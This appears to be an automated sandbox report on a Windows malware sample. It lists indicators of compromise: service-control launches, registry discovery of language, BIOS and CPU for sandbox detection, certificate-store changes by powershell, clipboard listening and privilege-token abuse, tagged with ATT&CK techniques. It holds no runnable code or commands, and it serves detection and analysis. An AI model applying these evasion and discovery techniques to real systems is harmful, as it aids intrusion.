File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\fa\messages.json	msedge.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2552	sc.exe
644	sc.exe
1460	sc.exe
6024	sc.exe
4576	sc.exe
5656	sc.exe
1372	sc.exe
1996	sc.exe
3292	sc.exe
2616	sc.exe
4904	sc.exe
1228	sc.exe
5036	sc.exe
4436	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DNSkppu4gp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrome145.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrome145.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Time Discovery 1 TTPs 5 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6092	msedge.exe
7056	chrome.exe
1808	chrome.exe
3172	msedge.exe
3656	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-600123060-2148212387-2211176695-1000\{E96CF1A4-B462-46AB-8556-712C9E8032D8}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5652	Chrome145.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
2640	chrome.exe
2640	chrome.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
5972	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5652	Chrome145.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
4124	msedge.exe
4124	msedge.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
5244	msedge.exe
5244	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeDebugPrivilege	5652	Chrome145.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	412	powercfg.exe
Token: SeCreatePagefilePrivilege	412	powercfg.exe
Token: SeShutdownPrivilege	2324	powercfg.exe
Token: SeCreatePagefilePrivilege	2324	powercfg.exe
Token: SeShutdownPrivilege	3812	powercfg.exe
Token: SeCreatePagefilePrivilege	3812	powercfg.exe
Token: SeShutdownPrivilege	5436	powercfg.exe
Token: SeCreatePagefilePrivilege	5436	powercfg.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	5688	powershell.EXE
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	596	powercfg.exe
Token: SeCreatePagefilePrivilege	596	powercfg.exe
Token: SeShutdownPrivilege	4264	powercfg.exe
Token: SeCreatePagefilePrivilege	4264	powercfg.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	2260	powercfg.exe
Token: SeCreatePagefilePrivilege	2260	powercfg.exe
Token: SeShutdownPrivilege	5996	powercfg.exe
Token: SeCreatePagefilePrivilege	5996	powercfg.exe
Token: SeLockMemoryPrivilege	5596	dialer.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe
Token: SeCreatePagefilePrivilege	6116	chrome.exe
Token: SeShutdownPrivilege	6116	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
4124	msedge.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
6116	chrome.exe
